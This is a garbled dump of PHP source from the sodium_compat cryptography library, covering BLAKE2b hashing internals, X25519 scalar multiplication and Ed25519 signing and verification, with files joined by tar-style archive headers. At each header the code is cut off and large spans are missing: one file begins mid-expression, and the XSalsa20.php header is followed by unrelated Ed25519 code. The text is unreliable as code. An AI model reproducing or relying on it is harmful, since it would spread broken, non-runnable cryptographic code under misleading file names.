$y[1]) & 0xffffffff) ); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $x * @param int $c * @return SplFixedArray * @psalm-suppress MixedAssignment */ public static function rotr64($x, $c) { if (PHP_INT_SIZE === 4) { throw new SodiumException("Error, use 32-bit"); } if ($c >= 64) { $c %= 64; } if ($c >= 32) { /** @var int $tmp */ $tmp = $x[0]; $x[0] = $x[1]; $x[1] = $tmp; $c -= 32; } if ($c === 0) { return $x; } $l0 = 0; $c = 64 - $c; /** @var int $c */ if ($c < 32) { $h0 = ((int) ($x[0]) << $c) | ( ( (int) ($x[1]) & ((1 << $c) - 1) << (32 - $c) ) >> (32 - $c) ); $l0 = (int) ($x[1]) << $c; } else { $h0 = (int) ($x[1]) << ($c - 32); } $h1 = 0; $c1 = 64 - $c; if ($c1 < 32) { $h1 = (int) ($x[0]) >> $c1; $l1 = ((int) ($x[1]) >> $c1) | ((int) ($x[0]) & ((1 << $c1) - 1)) << (32 - $c1); } else { $l1 = (int) ($x[0]) >> ($c1 - 32); } return self::new64($h0 | $h1, $l0 | $l1); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $x * @return int * @psalm-suppress MixedOperand */ protected static function flatten64($x) { return (int) ($x[0] * 4294967296 + $x[1]); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $x * @param int $i * @return SplFixedArray * @psalm-suppress MixedArgument * @psalm-suppress MixedArrayOffset */ protected static function load64(SplFixedArray $x, $i) { /** @var int $l */ $l = (int) ($x[$i]) | ((int) ($x[$i+1]) << 8) | ((int) ($x[$i+2]) << 16) | ((int) ($x[$i+3]) << 24); /** @var int $h */ $h = (int) ($x[$i+4]) | ((int) ($x[$i+5]) << 8) | ((int) ($x[$i+6]) << 16) | ((int) ($x[$i+7]) << 24); return self::new64($h, $l); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $x * @param int $i * @param SplFixedArray $u * @return void * @psalm-suppress MixedAssignment */ protected static function store64(SplFixedArray $x, $i, SplFixedArray $u) { $maxLength = $x->getSize() - 1; for ($j = 0; $j < 8; ++$j) { /* [0, 1, 2, 3, 4, 5, 6, 7] ... becomes ... [0, 0, 0, 0, 1, 1, 1, 1] */ /** @var int $uIdx */ $uIdx = ((7 - $j) & 4) >> 2; $x[$i] = ((int) ($u[$uIdx]) & 0xff); if (++$i > $maxLength) { return; } /** @psalm-suppress MixedOperand */ $u[$uIdx] >>= 8; } } /** * This just sets the $iv static variable. * * @internal You should not use this directly from another application * * @return void */ public static function pseudoConstructor() { static $called = false; if ($called) { return; } self::$iv = new SplFixedArray(8); self::$iv[0] = self::new64(0x6a09e667, 0xf3bcc908); self::$iv[1] = self::new64(0xbb67ae85, 0x84caa73b); self::$iv[2] = self::new64(0x3c6ef372, 0xfe94f82b); self::$iv[3] = self::new64(0xa54ff53a, 0x5f1d36f1); self::$iv[4] = self::new64(0x510e527f, 0xade682d1); self::$iv[5] = self::new64(0x9b05688c, 0x2b3e6c1f); self::$iv[6] = self::new64(0x1f83d9ab, 0xfb41bd6b); self::$iv[7] = self::new64(0x5be0cd19, 0x137e2179); $called = true; } /** * Returns a fresh BLAKE2 context. * * @internal You should not use this directly from another application * * @return SplFixedArray * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment */ protected static function context() { $ctx = new SplFixedArray(6); $ctx[0] = new SplFixedArray(8); // h $ctx[1] = new SplFixedArray(2); // t $ctx[2] = new SplFixedArray(2); // f $ctx[3] = new SplFixedArray(256); // buf $ctx[4] = 0; // buflen $ctx[5] = 0; // last_node (uint8_t) for ($i = 8; $i--;) { $ctx[0][$i] = self::$iv[$i]; } for ($i = 256; $i--;) { $ctx[3][$i] = 0; } $zero = self::new64(0, 0); $ctx[1][0] = $zero; $ctx[1][1] = $zero; $ctx[2][0] = $zero; $ctx[2][1] = $zero; return $ctx; } /** * @internal You should not use this directly from another application * * @param SplFixedArray $ctx * @param SplFixedArray $buf * @return void * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedArrayOffset */ protected static function compress(SplFixedArray $ctx, SplFixedArray $buf) { $m = new SplFixedArray(16); $v = new SplFixedArray(16); for ($i = 16; $i--;) { $m[$i] = self::load64($buf, $i << 3); } for ($i = 8; $i--;) { $v[$i] = $ctx[0][$i]; } $v[ 8] = self::$iv[0]; $v[ 9] = self::$iv[1]; $v[10] = self::$iv[2]; $v[11] = self::$iv[3]; $v[12] = self::xor64($ctx[1][0], self::$iv[4]); $v[13] = self::xor64($ctx[1][1], self::$iv[5]); $v[14] = self::xor64($ctx[2][0], self::$iv[6]); $v[15] = self::xor64($ctx[2][1], self::$iv[7]); for ($r = 0; $r < 12; ++$r) { $v = self::G($r, 0, 0, 4, 8, 12, $v, $m); $v = self::G($r, 1, 1, 5, 9, 13, $v, $m); $v = self::G($r, 2, 2, 6, 10, 14, $v, $m); $v = self::G($r, 3, 3, 7, 11, 15, $v, $m); $v = self::G($r, 4, 0, 5, 10, 15, $v, $m); $v = self::G($r, 5, 1, 6, 11, 12, $v, $m); $v = self::G($r, 6, 2, 7, 8, 13, $v, $m); $v = self::G($r, 7, 3, 4, 9, 14, $v, $m); } for ($i = 8; $i--;) { $ctx[0][$i] = self::xor64( $ctx[0][$i], self::xor64($v[$i], $v[$i+8]) ); } } /** * @internal You should not use this directly from another application * * @param int $r * @param int $i * @param int $a * @param int $b * @param int $c * @param int $d * @param SplFixedArray $v * @param SplFixedArray $m * @return SplFixedArray * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedArrayOffset */ public static function G($r, $i, $a, $b, $c, $d, SplFixedArray $v, SplFixedArray $m) { $v[$a] = self::add364($v[$a], $v[$b], $m[self::$sigma[$r][$i << 1]]); $v[$d] = self::rotr64(self::xor64($v[$d], $v[$a]), 32); $v[$c] = self::add64($v[$c], $v[$d]); $v[$b] = self::rotr64(self::xor64($v[$b], $v[$c]), 24); $v[$a] = self::add364($v[$a], $v[$b], $m[self::$sigma[$r][($i << 1) + 1]]); $v[$d] = self::rotr64(self::xor64($v[$d], $v[$a]), 16); $v[$c] = self::add64($v[$c], $v[$d]); $v[$b] = self::rotr64(self::xor64($v[$b], $v[$c]), 63); return $v; } /** * @internal You should not use this directly from another application * * @param SplFixedArray $ctx * @param int $inc * @return void * @throws SodiumException * @psalm-suppress MixedArgument * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment */ public static function increment_counter($ctx, $inc) { if ($inc < 0) { throw new SodiumException('Increasing by a negative number makes no sense.'); } $t = self::to64($inc); # S->t is $ctx[1] in our implementation # S->t[0] = ( uint64_t )( t >> 0 ); $ctx[1][0] = self::add64($ctx[1][0], $t); # S->t[1] += ( S->t[0] < inc ); if (self::flatten64($ctx[1][0]) < $inc) { $ctx[1][1] = self::add64($ctx[1][1], self::to64(1)); } } /** * @internal You should not use this directly from another application * * @param SplFixedArray $ctx * @param SplFixedArray $p * @param int $plen * @return void * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedArrayOffset * @psalm-suppress MixedOperand */ public static function update(SplFixedArray $ctx, SplFixedArray $p, $plen) { self::pseudoConstructor(); $offset = 0; while ($plen > 0) { $left = $ctx[4]; $fill = 256 - $left; if ($plen > $fill) { # memcpy( S->buf + left, in, fill ); /* Fill buffer */ for ($i = $fill; $i--;) { $ctx[3][$i + $left] = $p[$i + $offset]; } # S->buflen += fill; $ctx[4] += $fill; # blake2b_increment_counter( S, BLAKE2B_BLOCKBYTES ); self::increment_counter($ctx, 128); # blake2b_compress( S, S->buf ); /* Compress */ self::compress($ctx, $ctx[3]); # memcpy( S->buf, S->buf + BLAKE2B_BLOCKBYTES, BLAKE2B_BLOCKBYTES ); /* Shift buffer left */ for ($i = 128; $i--;) { $ctx[3][$i] = $ctx[3][$i + 128]; } # S->buflen -= BLAKE2B_BLOCKBYTES; $ctx[4] -= 128; # in += fill; $offset += $fill; # inlen -= fill; $plen -= $fill; } else { for ($i = $plen; $i--;) { $ctx[3][$i + $left] = $p[$i + $offset]; } $ctx[4] += $plen; $offset += $plen; $plen -= $plen; } } } /** * @internal You should not use this directly from another application * * @param SplFixedArray $ctx * @param SplFixedArray $out * @return SplFixedArray * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedArrayOffset * @psalm-suppress MixedOperand */ public static function finish(SplFixedArray $ctx, SplFixedArray $out) { self::pseudoConstructor(); if ($ctx[4] > 128) { self::increment_counter($ctx, 128); self::compress($ctx, $ctx[3]); $ctx[4] -= 128; if ($ctx[4] > 128) { throw new SodiumException('Failed to assert that buflen <= 128 bytes'); } for ($i = $ctx[4]; $i--;) { $ctx[3][$i] = $ctx[3][$i + 128]; } } self::increment_counter($ctx, $ctx[4]); $ctx[2][0] = self::new64(0xffffffff, 0xffffffff); for ($i = 256 - $ctx[4]; $i--;) { $ctx[3][$i+$ctx[4]] = 0; } self::compress($ctx, $ctx[3]); $i = (int) (($out->getSize() - 1) / 8); for (; $i >= 0; --$i) { self::store64($out, $i << 3, $ctx[0][$i]); } return $out; } /** * @internal You should not use this directly from another application * * @param SplFixedArray|null $key * @param int $outlen * @param SplFixedArray|null $salt * @param SplFixedArray|null $personal * @return SplFixedArray * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedArrayOffset */ public static function init( $key = null, $outlen = 64, $salt = null, $personal = null ) { self::pseudoConstructor(); $klen = 0; if ($key !== null) { if (count($key) > 64) { throw new SodiumException('Invalid key size'); } $klen = count($key); } if ($outlen > 64) { throw new SodiumException('Invalid output size'); } $ctx = self::context(); $p = new SplFixedArray(64); // Zero our param buffer... for ($i = 64; --$i;) { $p[$i] = 0; } $p[0] = $outlen; // digest_length $p[1] = $klen; // key_length $p[2] = 1; // fanout $p[3] = 1; // depth if ($salt instanceof SplFixedArray) { // salt: [32] through [47] for ($i = 0; $i < 16; ++$i) { $p[32 + $i] = (int) $salt[$i]; } } if ($personal instanceof SplFixedArray) { // personal: [48] through [63] for ($i = 0; $i < 16; ++$i) { $p[48 + $i] = (int) $personal[$i]; } } $ctx[0][0] = self::xor64( $ctx[0][0], self::load64($p, 0) ); if ($salt instanceof SplFixedArray || $personal instanceof SplFixedArray) { // We need to do what blake2b_init_param() does: for ($i = 1; $i < 8; ++$i) { $ctx[0][$i] = self::xor64( $ctx[0][$i], self::load64($p, $i << 3) ); } } if ($klen > 0 && $key instanceof SplFixedArray) { $block = new SplFixedArray(128); for ($i = 128; $i--;) { $block[$i] = 0; } for ($i = $klen; $i--;) { $block[$i] = $key[$i]; } self::update($ctx, $block, 128); $ctx[4] = 128; } return $ctx; } /** * Convert a string into an SplFixedArray of integers * * @internal You should not use this directly from another application * * @param string $str * @return SplFixedArray * @psalm-suppress MixedArgumentTypeCoercion */ public static function stringToSplFixedArray($str = '') { $values = unpack('C*', $str); return SplFixedArray::fromArray(array_values($values)); } /** * Convert an SplFixedArray of integers into a string * * @internal You should not use this directly from another application * * @param SplFixedArray $a * @return string * @throws TypeError */ public static function SplFixedArrayToString(SplFixedArray $a) { /** * @var array $arr */ $arr = $a->toArray(); $c = $a->count(); array_unshift($arr, str_repeat('C', $c)); return (string) (call_user_func_array('pack', $arr)); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $ctx * @return string * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedArrayOffset * @psalm-suppress MixedMethodCall */ public static function contextToString(SplFixedArray $ctx) { $str = ''; /** @var array> $ctxA */ $ctxA = $ctx[0]->toArray(); # uint64_t h[8]; for ($i = 0; $i < 8; ++$i) { $str .= self::store32_le($ctxA[$i][1]); $str .= self::store32_le($ctxA[$i][0]); } # uint64_t t[2]; # uint64_t f[2]; for ($i = 1; $i < 3; ++$i) { $ctxA = $ctx[$i]->toArray(); $str .= self::store32_le($ctxA[0][1]); $str .= self::store32_le($ctxA[0][0]); $str .= self::store32_le($ctxA[1][1]); $str .= self::store32_le($ctxA[1][0]); } # uint8_t buf[2 * 128]; $str .= self::SplFixedArrayToString($ctx[3]); /** @var int $ctx4 */ $ctx4 = (int) $ctx[4]; # size_t buflen; $str .= implode('', array( self::intToChr($ctx4 & 0xff), self::intToChr(($ctx4 >> 8) & 0xff), self::intToChr(($ctx4 >> 16) & 0xff), self::intToChr(($ctx4 >> 24) & 0xff), self::intToChr(($ctx4 >> 32) & 0xff), self::intToChr(($ctx4 >> 40) & 0xff), self::intToChr(($ctx4 >> 48) & 0xff), self::intToChr(($ctx4 >> 56) & 0xff) )); # uint8_t last_node; return $str . self::intToChr($ctx[5]) . str_repeat("\x00", 23); } /** * Creates an SplFixedArray containing other SplFixedArray elements, from * a string (compatible with \Sodium\crypto_generichash_{init, update, final}) * * @internal You should not use this directly from another application * * @param string $string * @return SplFixedArray * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArrayAssignment */ public static function stringToContext($string) { $ctx = self::context(); # uint64_t h[8]; for ($i = 0; $i < 8; ++$i) { $ctx[0][$i] = SplFixedArray::fromArray( array( self::load_4( self::substr($string, (($i << 3) + 4), 4) ), self::load_4( self::substr($string, (($i << 3) + 0), 4) ) ) ); } # uint64_t t[2]; # uint64_t f[2]; for ($i = 1; $i < 3; ++$i) { $ctx[$i][1] = SplFixedArray::fromArray( array( self::load_4(self::substr($string, 76 + (($i - 1) << 4), 4)), self::load_4(self::substr($string, 72 + (($i - 1) << 4), 4)) ) ); $ctx[$i][0] = SplFixedArray::fromArray( array( self::load_4(self::substr($string, 68 + (($i - 1) << 4), 4)), self::load_4(self::substr($string, 64 + (($i - 1) << 4), 4)) ) ); } # uint8_t buf[2 * 128]; $ctx[3] = self::stringToSplFixedArray(self::substr($string, 96, 256)); # uint8_t buf[2 * 128]; $int = 0; for ($i = 0; $i < 8; ++$i) { $int |= self::chrToInt($string[352 + $i]) << ($i << 3); } $ctx[4] = $int; return $ctx; } } sodium_compat/src/Core/X25519.php000064400000022352147177035010012425 0ustar00> 25; $h[0] += self::mul($carry9, 19, 5); $h[9] -= $carry9 << 25; /** @var int $carry1 */ $carry1 = ($h[1] + (1 << 24)) >> 25; $h[2] += $carry1; $h[1] -= $carry1 << 25; /** @var int $carry3 */ $carry3 = ($h[3] + (1 << 24)) >> 25; $h[4] += $carry3; $h[3] -= $carry3 << 25; /** @var int $carry5 */ $carry5 = ($h[5] + (1 << 24)) >> 25; $h[6] += $carry5; $h[5] -= $carry5 << 25; /** @var int $carry7 */ $carry7 = ($h[7] + (1 << 24)) >> 25; $h[8] += $carry7; $h[7] -= $carry7 << 25; /** @var int $carry0 */ $carry0 = ($h[0] + (1 << 25)) >> 26; $h[1] += $carry0; $h[0] -= $carry0 << 26; /** @var int $carry2 */ $carry2 = ($h[2] + (1 << 25)) >> 26; $h[3] += $carry2; $h[2] -= $carry2 << 26; /** @var int $carry4 */ $carry4 = ($h[4] + (1 << 25)) >> 26; $h[5] += $carry4; $h[4] -= $carry4 << 26; /** @var int $carry6 */ $carry6 = ($h[6] + (1 << 25)) >> 26; $h[7] += $carry6; $h[6] -= $carry6 << 26; /** @var int $carry8 */ $carry8 = ($h[8] + (1 << 25)) >> 26; $h[9] += $carry8; $h[8] -= $carry8 << 26; foreach ($h as $i => $value) { $h[$i] = (int) $value; } return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($h); } /** * @internal You should not use this directly from another application * * Inline comments preceded by # are from libsodium's ref10 code. * * @param string $n * @param string $p * @return string * @throws SodiumException * @throws TypeError */ public static function crypto_scalarmult_curve25519_ref10($n, $p) { # for (i = 0;i < 32;++i) e[i] = n[i]; $e = '' . $n; # e[0] &= 248; $e[0] = self::intToChr( self::chrToInt($e[0]) & 248 ); # e[31] &= 127; # e[31] |= 64; $e[31] = self::intToChr( (self::chrToInt($e[31]) & 127) | 64 ); # fe_frombytes(x1,p); $x1 = self::fe_frombytes($p); # fe_1(x2); $x2 = self::fe_1(); # fe_0(z2); $z2 = self::fe_0(); # fe_copy(x3,x1); $x3 = self::fe_copy($x1); # fe_1(z3); $z3 = self::fe_1(); # swap = 0; /** @var int $swap */ $swap = 0; # for (pos = 254;pos >= 0;--pos) { for ($pos = 254; $pos >= 0; --$pos) { # b = e[pos / 8] >> (pos & 7); /** @var int $b */ $b = self::chrToInt( $e[(int) floor($pos / 8)] ) >> ($pos & 7); # b &= 1; $b &= 1; # swap ^= b; $swap ^= $b; # fe_cswap(x2,x3,swap); self::fe_cswap($x2, $x3, $swap); # fe_cswap(z2,z3,swap); self::fe_cswap($z2, $z3, $swap); # swap = b; $swap = $b; # fe_sub(tmp0,x3,z3); $tmp0 = self::fe_sub($x3, $z3); # fe_sub(tmp1,x2,z2); $tmp1 = self::fe_sub($x2, $z2); # fe_add(x2,x2,z2); $x2 = self::fe_add($x2, $z2); # fe_add(z2,x3,z3); $z2 = self::fe_add($x3, $z3); # fe_mul(z3,tmp0,x2); $z3 = self::fe_mul($tmp0, $x2); # fe_mul(z2,z2,tmp1); $z2 = self::fe_mul($z2, $tmp1); # fe_sq(tmp0,tmp1); $tmp0 = self::fe_sq($tmp1); # fe_sq(tmp1,x2); $tmp1 = self::fe_sq($x2); # fe_add(x3,z3,z2); $x3 = self::fe_add($z3, $z2); # fe_sub(z2,z3,z2); $z2 = self::fe_sub($z3, $z2); # fe_mul(x2,tmp1,tmp0); $x2 = self::fe_mul($tmp1, $tmp0); # fe_sub(tmp1,tmp1,tmp0); $tmp1 = self::fe_sub($tmp1, $tmp0); # fe_sq(z2,z2); $z2 = self::fe_sq($z2); # fe_mul121666(z3,tmp1); $z3 = self::fe_mul121666($tmp1); # fe_sq(x3,x3); $x3 = self::fe_sq($x3); # fe_add(tmp0,tmp0,z3); $tmp0 = self::fe_add($tmp0, $z3); # fe_mul(z3,x1,z2); $z3 = self::fe_mul($x1, $z2); # fe_mul(z2,tmp1,tmp0); $z2 = self::fe_mul($tmp1, $tmp0); } # fe_cswap(x2,x3,swap); self::fe_cswap($x2, $x3, $swap); # fe_cswap(z2,z3,swap); self::fe_cswap($z2, $z3, $swap); # fe_invert(z2,z2); $z2 = self::fe_invert($z2); # fe_mul(x2,x2,z2); $x2 = self::fe_mul($x2, $z2); # fe_tobytes(q,x2); return self::fe_tobytes($x2); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $edwardsY * @param ParagonIE_Sodium_Core_Curve25519_Fe $edwardsZ * @return ParagonIE_Sodium_Core_Curve25519_Fe */ public static function edwards_to_montgomery( ParagonIE_Sodium_Core_Curve25519_Fe $edwardsY, ParagonIE_Sodium_Core_Curve25519_Fe $edwardsZ ) { $tempX = self::fe_add($edwardsZ, $edwardsY); $tempZ = self::fe_sub($edwardsZ, $edwardsY); $tempZ = self::fe_invert($tempZ); return self::fe_mul($tempX, $tempZ); } /** * @internal You should not use this directly from another application * * @param string $n * @return string * @throws SodiumException * @throws TypeError */ public static function crypto_scalarmult_curve25519_ref10_base($n) { # for (i = 0;i < 32;++i) e[i] = n[i]; $e = '' . $n; # e[0] &= 248; $e[0] = self::intToChr( self::chrToInt($e[0]) & 248 ); # e[31] &= 127; # e[31] |= 64; $e[31] = self::intToChr( (self::chrToInt($e[31]) & 127) | 64 ); $A = self::ge_scalarmult_base($e); if ( !($A->Y instanceof ParagonIE_Sodium_Core_Curve25519_Fe) || !($A->Z instanceof ParagonIE_Sodium_Core_Curve25519_Fe) ) { throw new TypeError('Null points encountered'); } $pk = self::edwards_to_montgomery($A->Y, $A->Z); return self::fe_tobytes($pk); } } sodium_compat/src/Core/XSalsa20.php000064400000002533147177035010013144 0ustar00X)) { throw new SodiumException('Unexpected zero result'); } # fe_1(one_minus_y); # fe_sub(one_minus_y, one_minus_y, A.Y); # fe_invert(one_minus_y, one_minus_y); $one_minux_y = self::fe_invert( self::fe_sub( self::fe_1(), $A->Y ) ); # fe_1(x); # fe_add(x, x, A.Y); # fe_mul(x, x, one_minus_y); $x = self::fe_mul( self::fe_add(self::fe_1(), $A->Y), $one_minux_y ); # fe_tobytes(curve25519_pk, x); return self::fe_tobytes($x); } /** * @internal You should not use this directly from another application * * @param string $sk * @return string * @throws SodiumException * @throws TypeError */ public static function sk_to_pk($sk) { return self::ge_p3_tobytes( self::ge_scalarmult_base( self::substr($sk, 0, 32) ) ); } /** * @internal You should not use this directly from another application * * @param string $message * @param string $sk * @return string * @throws SodiumException * @throws TypeError */ public static function sign($message, $sk) { /** @var string $signature */ $signature = self::sign_detached($message, $sk); return $signature . $message; } /** * @internal You should not use this directly from another application * * @param string $message A signed message * @param string $pk Public key * @return string Message (without signature) * @throws SodiumException * @throws TypeError */ public static function sign_open($message, $pk) { /** @var string $signature */ $signature = self::substr($message, 0, 64); /** @var string $message */ $message = self::substr($message, 64); if (self::verify_detached($signature, $message, $pk)) { return $message; } throw new SodiumException('Invalid signature'); } /** * @internal You should not use this directly from another application * * @param string $message * @param string $sk * @return string * @throws SodiumException * @throws TypeError */ public static function sign_detached($message, $sk) { # crypto_hash_sha512(az, sk, 32); $az = hash('sha512', self::substr($sk, 0, 32), true); # az[0] &= 248; # az[31] &= 63; # az[31] |= 64; $az[0] = self::intToChr(self::chrToInt($az[0]) & 248); $az[31] = self::intToChr((self::chrToInt($az[31]) & 63) | 64); # crypto_hash_sha512_init(&hs); # crypto_hash_sha512_update(&hs, az + 32, 32); # crypto_hash_sha512_update(&hs, m, mlen); # crypto_hash_sha512_final(&hs, nonce); $hs = hash_init('sha512'); hash_update($hs, self::substr($az, 32, 32)); hash_update($hs, $message); $nonceHash = hash_final($hs, true); # memmove(sig + 32, sk + 32, 32); $pk = self::substr($sk, 32, 32); # sc_reduce(nonce); # ge_scalarmult_base(&R, nonce); # ge_p3_tobytes(sig, &R); $nonce = self::sc_reduce($nonceHash) . self::substr($nonceHash, 32); $sig = self::ge_p3_tobytes( self::ge_scalarmult_base($nonce) ); # crypto_hash_sha512_init(&hs); # crypto_hash_sha512_update(&hs, sig, 64); # crypto_hash_sha512_update(&hs, m, mlen); # crypto_hash_sha512_final(&hs, hram); $hs = hash_init('sha512'); hash_update($hs, self::substr($sig, 0, 32)); hash_update($hs, self::substr($pk, 0, 32)); hash_update($hs, $message); $hramHash = hash_final($hs, true); # sc_reduce(hram); # sc_muladd(sig + 32, hram, az, nonce); $hram = self::sc_reduce($hramHash); $sigAfter = self::sc_muladd($hram, $az, $nonce); $sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32); try { ParagonIE_Sodium_Compat::memzero($az); } catch (SodiumException $ex) { $az = null; } return $sig; } /** * @internal You should not use this directly from another application * * @param string $sig * @param string $message * @param string $pk * @return bool * @throws SodiumException * @throws TypeError */ public static function verify_detached($sig, $message, $pk) { if (self::strlen($sig) < 64) { throw new SodiumException('Signature is too short'); } if ((self::chrToInt($sig[63]) & 240) && self::check_S_lt_L(self::substr($sig, 32, 32))) { throw new SodiumException('S < L - Invalid signature'); } if (self::small_order($sig)) { throw new SodiumException('Signature is on too small of an order'); } if ((self::chrToInt($sig[63]) & 224) !== 0) { throw new SodiumException('Invalid signature'); } $d = 0; for ($i = 0; $i < 32; ++$i) { $d |= self::chrToInt($pk[$i]); } if ($d === 0) { throw new SodiumException('All zero public key'); } /** @var bool The original value of ParagonIE_Sodium_Compat::$fastMult */ $orig = ParagonIE_Sodium_Compat::$fastMult; // Set ParagonIE_Sodium_Compat::$fastMult to true to speed up verification. ParagonIE_Sodium_Compat::$fastMult = true; /** @var ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A */ $A = self::ge_frombytes_negate_vartime($pk); /** @var string $hDigest */ $hDigest = hash( 'sha512', self::substr($sig, 0, 32) . self::substr($pk, 0, 32) . $message, true ); /** @var string $h */ $h = self::sc_reduce($hDigest) . self::substr($hDigest, 32); /** @var ParagonIE_Sodium_Core_Curve25519_Ge_P2 $R */ $R = self::ge_double_scalarmult_vartime( $h, $A, self::substr($sig, 32) ); /** @var string $rcheck */ $rcheck = self::ge_tobytes($R); // Reset ParagonIE_Sodium_Compat::$fastMult to what it was before. ParagonIE_Sodium_Compat::$fastMult = $orig; return self::verify_32($rcheck, self::substr($sig, 0, 32)); } /** * @internal You should not use this directly from another application * * @param string $S * @return bool * @throws SodiumException * @throws TypeError */ public static function check_S_lt_L($S) { if (self::strlen($S) < 32) { throw new SodiumException('Signature must be 32 bytes'); } $L = array( 0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58, 0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10 ); $c = 0; $n = 1; $i = 32; /** @var array $L */ do { --$i; $x = self::chrToInt($S[$i]); $c |= ( (($x - $L[$i]) >> 8) & $n ); $n &= ( (($x ^ $L[$i]) - 1) >> 8 ); } while ($i !== 0); return $c === 0; } /** * @param string $R * @return bool * @throws SodiumException * @throws TypeError */ public static function small_order($R) { /** @var array> $blocklist */ $blocklist = array( /* 0 (order 4) */ array( 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ), /* 1 (order 1) */ array( 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ), /* 2707385501144840649318225287225658788936804267575313519463743609750303402022 (order 8) */ array( 0x26, 0xe8, 0x95, 0x8f, 0xc2, 0xb2, 0x27, 0xb0, 0x45, 0xc3, 0xf4, 0x89, 0xf2, 0xef, 0x98, 0xf0, 0xd5, 0xdf, 0xac, 0x05, 0xd3, 0xc6, 0x33, 0x39, 0xb1, 0x38, 0x02, 0x88, 0x6d, 0x53, 0xfc, 0x05 ), /* 55188659117513257062467267217118295137698188065244968500265048394206261417927 (order 8) */ array( 0xc7, 0x17, 0x6a, 0x70, 0x3d, 0x4d, 0xd8, 0x4f, 0xba, 0x3c, 0x0b, 0x76, 0x0d, 0x10, 0x67, 0x0f, 0x2a, 0x20, 0x53, 0xfa, 0x2c, 0x39, 0xcc, 0xc6, 0x4e, 0xc7, 0xfd, 0x77, 0x92, 0xac, 0x03, 0x7a ), /* p-1 (order 2) */ array( 0x13, 0xe8, 0x95, 0x8f, 0xc2, 0xb2, 0x27, 0xb0, 0x45, 0xc3, 0xf4, 0x89, 0xf2, 0xef, 0x98, 0xf0, 0xd5, 0xdf, 0xac, 0x05, 0xd3, 0xc6, 0x33, 0x39, 0xb1, 0x38, 0x02, 0x88, 0x6d, 0x53, 0xfc, 0x85 ), /* p (order 4) */ array( 0xb4, 0x17, 0x6a, 0x70, 0x3d, 0x4d, 0xd8, 0x4f, 0xba, 0x3c, 0x0b, 0x76, 0x0d, 0x10, 0x67, 0x0f, 0x2a, 0x20, 0x53, 0xfa, 0x2c, 0x39, 0xcc, 0xc6, 0x4e, 0xc7, 0xfd, 0x77, 0x92, 0xac, 0x03, 0xfa ), /* p+1 (order 1) */ array( 0xec, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f ), /* p+2707385501144840649318225287225658788936804267575313519463743609750303402022 (order 8) */ array( 0xed, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f ), /* p+55188659117513257062467267217118295137698188065244968500265048394206261417927 (order 8) */ array( 0xee, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f ), /* 2p-1 (order 2) */ array( 0xd9, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff ), /* 2p (order 4) */ array( 0xda, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 